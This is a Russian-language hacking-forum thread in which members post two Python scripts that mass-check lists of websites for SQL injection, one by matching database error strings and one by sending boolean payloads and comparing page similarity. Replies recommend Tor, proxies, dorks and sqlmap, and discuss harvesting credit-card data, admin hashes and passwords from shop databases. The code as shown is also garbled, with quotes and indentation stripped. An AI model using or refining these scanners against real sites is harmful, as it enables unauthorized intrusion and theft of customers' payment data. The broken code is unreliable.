Скрыть объявление
Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

[Python] Простенький чекер на SQL INJ

Тема в разделе "Хакинг. Программирование", создана пользователем Caligula, 16 июл 2016.

  1. Caligula

    Caligula Member

    Code:
    import os
    import sys
    import urllib

    def log_crt(name, text):
    if os.path.exists(name):
    open(name, a+).write(text)
    return True
    else:
    return False

    def sites(name, id):
    if os.path.exists(name):
    text = open(name, r).readlines()
    return text[id]
    else:
    sys.exit(1)

    print([!] SQL Inj checker)
    if __name__ == __main__:
    if sys.argv[1] != and sys.argv[2] != :
    for i in range(0, len(open(sys.argv[1], r).readlines())):
    site = sites(sys.argv[1], i)
    try:
    html = urllib.urlopen(site + ).read()
    if SQL in html or syntax in html or Warning in html:
    log_crt(sys.argv[2], site)
    print([33[1;32mGOOD33[1;m] + site)
    else:
    print([33[1;31mERROR33[1;m] + site)
    except:
    pass
    print([33[1;32mDellete repeat domains33[1;m])

    for i in range(0, len(open(sys.argv[2], r).readlines())):
    domain = sites(sys.argv[2], i).replace(http://, ).split(/)
    for j in range(0, len(open(sys.argv[2], r).readlines())):
    dell_domain = sites(sys.argv[2], i).replace(http://, ).split(/)
    if(dell_domain[0] == domain[0]):
    f = open(sys.argv[2]).read()
    f.replace(sites(sys.argv[2], j), )
    print([33[1;32mDone33[1;m])
    else:
    print(Error!)​

    Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt
  2. Nelson

    Nelson Member

    Добавь многопоток и работу через прокси.
    И таких не найдешь на просторах даркнета.

    +++
  3. putin4life

    putin4life New Member

    Можно на примую брать IP из ТОR и тогда даже прокси не нужен
  4. Caligula

    Caligula Member

    Есть в мыслях сделать универсальную штуку. Типа закинул дорки, скрипт будет парсить выдачу и сразу чекать на инъекции
  5. sakura

    sakura New Member

    пишет что есть повторный домен, удалите его. но повторных нет)
  6. zloy_santa

    zloy_santa Member

    прикольно, автору респект!!!!!
  7. ToniWhite

    ToniWhite Member

    я думал шопы уже не хранят СС в БД... неужели тема жива?
  8. look2009

    look2009 New Member

    В БД есть много чего интересного кроме CC...
  9. ToniWhite

    ToniWhite Member

    админка в хэш виде, и куча логов и пассов... вроде все?
  10. SmashedPumpkin

    SmashedPumpkin New Member

    nikto 2.1.6-1
    A web server scanner which performs comprehensive tests against web servers for multiple items :(
    sqlmap 1.0.7-1
    Automatic SQL injection and database takeover tool

    win - acunetix, havij

    Добавлено через 2 минуты 39 секунд
    Что означает админка в хэш виде? Как может быть код в хэш виде? Хэширование - не обратимое шифрование, и его применяют часто только к паролям.

    Добавлено через 16 секунд
    Что означает админка в хэш виде? Как может быть код в хэш виде? Хэширование - не обратимое шифрование, и его применяют часто только к паролям.

    Добавлено через 3 минуты 52 секунды
    ни хера сигнатурка
    Code:
    if SQL in html or syntax in html or Warning in html:​

    и слово
    казнить нельзя помиловать
  11. albaniri

    albaniri New Member

    Уже есть. Web надстройка под sql map. Хоть лучше sqlmapa я лучше еще не видел - само стремление писать и делать самому достойно уважения
  12. Caligula

    Caligula Member

    Чуваки, я грубо говоря просто хотел сделать хоть мизерный, но вклад в этот ресурс. Вот и написал за несколько минут данный чекер. А так, скоро готовится еще один проект, но уже другого масштаба
  13. kjuby

    kjuby New Member

    Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего )
    Code:
    #!/usr/bin/env python3.5

    import itertools, warnings, difflib, argparse, requests, hashlib, sys, re
    from requests.packages import urllib3

    urllib3.disable_warnings()
    headers = {user-agent: Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+}
    PROXY = None
    BOOLEAN_CHECK = /**/AND/**/123=123
    BOOLEAN_TEST = /**/AND/**/123=125

    TIMEOUT = 5
    DBMS_SIGN = re.compile(rSQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[-\_ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i)Warning.*sybase.*|Sybase message)
    HTML_CLEAN = re.compile(r(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|s+)
    TARGET_PARAM = re.compile(r(=[a-zA-Z0-9]*))
    REDIRECT = False
    VERSION = 0.1
    COEFFICENT = 0.95

    parser = argparse.ArgumentParser(description=SQL injection check tools v+str(VERSION))
    parser.add_argument(-l, dest=list, help=Choose link list, type=argparse.FileType(), required=True)
    args = parser.parse_args()

    try:
    for link in args.list:
    prefix = link.find(http)
    if prefix != 0:
    link = http://+link
    else:
    None

    def page_source_text(sql_link):
    try:
    sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT)
    page_text = sql_link.text
    page_code = sql_link.status_code
    page_text = HTML_CLEAN.sub( , page_text)
    return page_text, page_code
    except requests.exceptions.RequestException:
    return sql_link

    def boolean_test_sql(link):
    bool_targ = TARGET_PARAM.sub(r1+BOOLEAN_CHECK, link)
    bool_targ2 = TARGET_PARAM.sub(r1+BOOLEAN_TEST, link)
    original_targ = page_source_text(link)
    bool_targ = page_source_text(bool_targ)
    bool_targ2 = page_source_text(bool_targ2)
    http_code = original_targ[1]
    vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio()
    vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio()
    if http_code == 200 or http_code == 500:
    if vulns >= COEFFICENT and vulns1 <= COEFFICENT:
    print ( [ + ] ,link)
    sql_target = TARGET_PARAM.sub(r1+, link)
    union_target = page_source_text(sql_target)
    sql_text = union_target[0]
    req_code_sql = union_target[1]
    if req_code_sql == 200 or req_code_sql == 500:
    dbms_error = DBMS_SIGN.search(sql_text) is not None
    if dbms_error != 0:
    print ( [ + ] ,link)
    else:
    boolean_test_sql(link)

    except KeyboardInterrupt:
    print ( [x] Ctrl-C pressed)​

Поделиться этой страницей